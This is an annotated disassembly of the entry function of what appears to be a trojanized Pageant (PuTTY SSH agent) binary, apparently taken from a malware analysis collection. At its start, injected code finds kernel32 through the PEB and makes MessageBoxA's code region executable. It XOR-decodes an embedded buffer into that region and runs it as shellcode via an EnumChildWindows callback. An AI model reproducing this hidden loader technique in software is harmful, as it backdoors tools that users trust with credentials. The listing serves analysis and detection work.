Function at 0x41cbc0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get number of processors
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2284
call fcn.0041f5b0
mov eax, dword [0x4745fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x2230], ebx
mov dword [ebp - 0x2238], eax
mov dword [ebp - 0x222c], 0
call fcn.0041bcc0
push str.user32.dll
mov dword [0x476468], ebx
mov dword [0x476470], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x2216
mov dword [ebp - 0x2234], eax
lea eax, [ebp - 0x221c]
push str.____
push eax
call fcn.00420390
add esp, 0xc
mov dword [ebp - 0x2220], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x2220], eax
push str.VirtualProtect
push dword [ebp - 0x2220]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, eax
lea eax, [ebp - 0x2224]
mov dword [ebp - 0x2224], 0
push eax
push 0x40
push 0x2215
push ebx
call esi
test eax, eax
jne 0x41ccb8
push 4
push 0x1000
push 0x2215
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x2224]
push eax
push 0x40
push 0x2215
push edi
call esi
jmp 0x41ccba
mov edi, ebx
mov bl, byte [ebp - 0x221c]
lea esi, [ebp - 0x221c]
xor bl, 0x90
mov ecx, edi
sub esi, edi
mov edx, 0x2215
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, bl
nop
nop
mov byte [ecx - 1], al
nop
nop
sub edx, 1
jne 0x41ccd2
push str.EnumChildWindows
push dword [ebp - 0x2234]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
call fcn.0041c1c0
test eax, eax
je 0x41d337
cmp dword [0x476490], 2
jne 0x41cd53
mov dword [0x475158], 1
call fcn.0041e750
test eax, eax
jne 0x41cd5d
push 0x10
push str.Pageant_Fatal_Error
push str.Unable_to_access_security_APIs._Pageant_will_nnot_run__in_case_it_causes_a_security_breach.
push eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041f285
mov esp, ebp
pop ebp
ret 0x10
mov dword [0x475158], 0
call fcn.0041b960
push 0x7f0
lea eax, [ebp - 0x808]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x808]
mov eax, esi
push 0x5c
push eax
call fcn.00421390
add esp, 8
test eax, eax
je 0x41cd96
mov ecx, esi
cmp eax, ecx
jb 0x41cd96
lea esi, [eax + 1]
lea eax, [ebp - 0x808]
push 0x3a
push eax
call fcn.00421390
add esp, 8
test eax, eax
je 0x41cdb2
cmp eax, esi
jb 0x41cdb2
lea esi, [eax + 1]
movq xmm0, qword [str.putty.exe]
movq qword [esi], xmm0
mov ax, word [0x46a12c]
mov word [esi + 8], ax
lea eax, [ebp - 0x808]
push 0x466b04
push eax
call fcn.0043e7ac
mov esi, eax
add esp, 8
test esi, esi
je 0x41cdfe
lea eax, [ebp - 0x808]
push eax
call fcn.00402240
push esi
mov dword [0x47514c], eax
call fcn.0043e323
add esp, 8
jmp 0x41ce08
mov dword [0x47514c], 0
call fcn.0041e300
mov dword [0x475148], eax
test eax, eax
jne 0x41ce1b
call fcn.00405690
lea eax, [ebp - 0x2240]
push eax
lea eax, [ebp - 0x223c]
push eax
lea eax, [ebp - 0x2228]
push eax
push dword [ebp - 0x2238]
call fcn.0041ee40
mov ebx, dword [ebp - 0x2228]
add esp, 0x10
xor edi, edi
test ebx, ebx
jle 0x41cf94
nop
mov eax, dword [ebp - 0x223c]
mov ecx, str._pgpfp
mov esi, dword [eax + edi*4]
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41ce80
test dl, dl
je 0x41ce7c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41ce80
add eax, 2
add ecx, 2
test dl, dl
jne 0x41ce60
xor eax, eax
jmp 0x41ce85
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d063
mov ecx, 0x46a138
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41ceb4
test dl, dl
je 0x41ceb0
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41ceb4
add eax, 2
add ecx, 2
test dl, dl
jne 0x41ce94
xor eax, eax
jmp 0x41ceb9
sbb eax, eax
or eax, 1
test eax, eax
je 0x41cf80
mov ecx, str._restrict_acl
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41cee8
test dl, dl
je 0x41cee4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41cee8
add eax, 2
add ecx, 2
test dl, dl
jne 0x41cec8
xor eax, eax
jmp 0x41ceed
sbb eax, eax
or eax, 1
test eax, eax
je 0x41cf80
mov ecx, str._restrictacl
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41cf20
test dl, dl
je 0x41cf1c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41cf20
add eax, 2
add ecx, 2
test dl, dl
jne 0x41cf00
xor eax, eax
jmp 0x41cf25
sbb eax, eax
or eax, 1
test eax, eax
je 0x41cf80
mov ecx, 0x46a168
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41cf50
test dl, dl
je 0x41cf4c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41cf50
add eax, 2
add ecx, 2
test dl, dl
jne 0x41cf30
xor eax, eax
jmp 0x41cf55
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d043
push esi
call fcn.0041be40
mov esi, eax
push esi
call fcn.0041e1a0
push esi
call fcn.0041be20
add esp, 0xc
mov dword [ebp - 0x222c], 1
jmp 0x41cf85
call fcn.0041eb80
mov ebx, dword [ebp - 0x2228]
inc edi
cmp edi, ebx
jl 0x41ce50
xor ebx, ebx
mov esi, ebx
call fcn.00404400
test ebx, ebx
je 0x41d005
mov cl, byte [ebx]
lea eax, [esi + 1]
cmp cl, 0x22
cmovne eax, ebx
mov ebx, eax
xor eax, eax
cmp cl, 0x22
sete al
lea eax, [eax*2 + 0x20]
push eax
lea eax, [esi + 1]
cmovne eax, esi
push eax
call fcn.00420910
mov esi, eax
add esp, 8
test esi, esi
je 0x41cff8
mov byte [esi], 0
inc esi
mov al, byte [esi]
test al, al
je 0x41cff8
nop dword [eax]
movsx eax, al
push eax
call fcn.0043d903
add esp, 4
test eax, eax
je 0x41cff8
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x41cfe0
push dword [ebp + 0x14]
push esi
push ebx
call fcn.0041dec0
add esp, 0xc
cmp dword [0x475148], 0
je 0x41d06d
test ebx, ebx
jne 0x41d02e
cmp dword [ebp - 0x222c], ebx
jne 0x41d02e
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
push 0x10
push str.Pageant_Error
push str.Pageant_is_already_running
push ebx
call eax
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041f285
mov esp, ebp
pop ebp
ret 0x10
lea eax, [ebx - 1]
cmp edi, eax
jge 0x41d059
mov eax, dword [ebp - 0x2240]
mov ebx, dword [eax + edi*4 + 4]
jmp 0x41cf96
mov ebx, 0x4622f0
jmp 0x41cf96
call fcn.0041ed60
jmp 0x41cd3b
cmp dword [ebp + 0xc], 0
mov esi, dword [ebp - 0x2230]
jne 0x41d0ff
push 0xc8
push esi
mov dword [ebp - 0x2268], 0
mov dword [ebp - 0x2264], 0x41d350
mov dword [ebp - 0x2260], 0
mov dword [ebp - 0x225c], 0
mov dword [ebp - 0x2258], esi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f01
push 0
mov dword [ebp - 0x2254], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 4
mov dword [ebp - 0x2250], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x224c], eax
lea eax, [ebp - 0x2268]
push eax
mov dword [ebp - 0x2248], 0
mov dword [ebp - 0x2244], str.Pageant
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
push esi
push 0
push 0
push 0x64
push 0x64
push 0x80000000
push 0x80000000
push 0xef0000
push str.Pageant
push str.Pageant
push 0
mov dword [0x475138], 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push eax
mov dword [0x476470], eax
call fcn.0041c560
add esp, 4
call dword [sym.imp.USER32.dll_CreatePopupMenu]
cmp dword [0x47514c], 0
mov esi, dword [sym.imp.USER32.dll_AppendMenuA]
mov dword [0x475140], eax
je 0x41d1a4
call dword [sym.imp.USER32.dll_CreateMenu]
push str.New_Session
push 0x60
push 0
push dword [0x475140]
mov dword [0x475144], eax
call esi
push str.Saved_Sessions
push dword [0x475144]
push 0x10
push dword [0x475140]
call esi
push 0
push 0
push 0x800
push dword [0x475140]
call esi
mov eax, dword [0x475140]
push str.View_Keys
push 0x20
push 0
push eax
call esi
push 0x46a1c4
push 0x30
push 0
push dword [0x475140]
call esi
push 0
push 0
push 0x800
push dword [0x475140]
call esi
call fcn.0041b940
test eax, eax
je 0x41d1ec
push 0x46a1d0
push 0x40
push 0
push dword [0x475140]
call esi
push str.About
push 0x50
push 0
push dword [0x475140]
call esi
push 0
push 0
push 0x800
push dword [0x475140]
call esi
push str.Exit
push 0x10
push 0
push dword [0x475140]
call esi
push dword [0x475144]
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push 0
push 0x20
push dword [0x475140]
mov dword [0x475154], eax
call dword [sym.imp.USER32.dll_SetMenuDefaultItem]
push 0
push dword [0x476470]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, dword [sym.imp.USER32.dll_GetMessageA]
lea eax, [ebp - 0x2284]
push 0
push 0
push 0
push eax
call ebx
cmp eax, 1
jne 0x41d2e0
mov esi, dword [sym.imp.USER32.dll_IsWindow]
mov edi, dword [sym.imp.USER32.dll_IsDialogMessageA]
push dword [0x475138]
call esi
test eax, eax
je 0x41d293
lea eax, [ebp - 0x2284]
push eax
push dword [0x475138]
call edi
test eax, eax
jne 0x41d2cc
push dword [0x47513c]
call esi
test eax, eax
je 0x41d2b2
lea eax, [ebp - 0x2284]
push eax
push dword [0x47513c]
call edi
test eax, eax
jne 0x41d2cc
lea eax, [ebp - 0x2284]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x2284]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x2284]
push eax
call ebx
cmp eax, 1
je 0x41d274
mov eax, dword [0x476470]
mov dword [ebp - 0x200], eax
lea eax, [ebp - 0x204]
push eax
push 2
mov dword [ebp - 0x204], 0x1fc
mov dword [ebp - 0x1fc], 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
push dword [0x475140]
call dword [sym.imp.USER32.dll_DestroyMenu]
mov eax, dword [0x475150]
test eax, eax
je 0x41d32c
push eax
call fcn.0041ec10
add esp, 4
push dword [ebp - 0x227c]
call fcn.0041d9f0
push str.Windows_refuses_to_report_a_version
call fcn.0041dd10
int3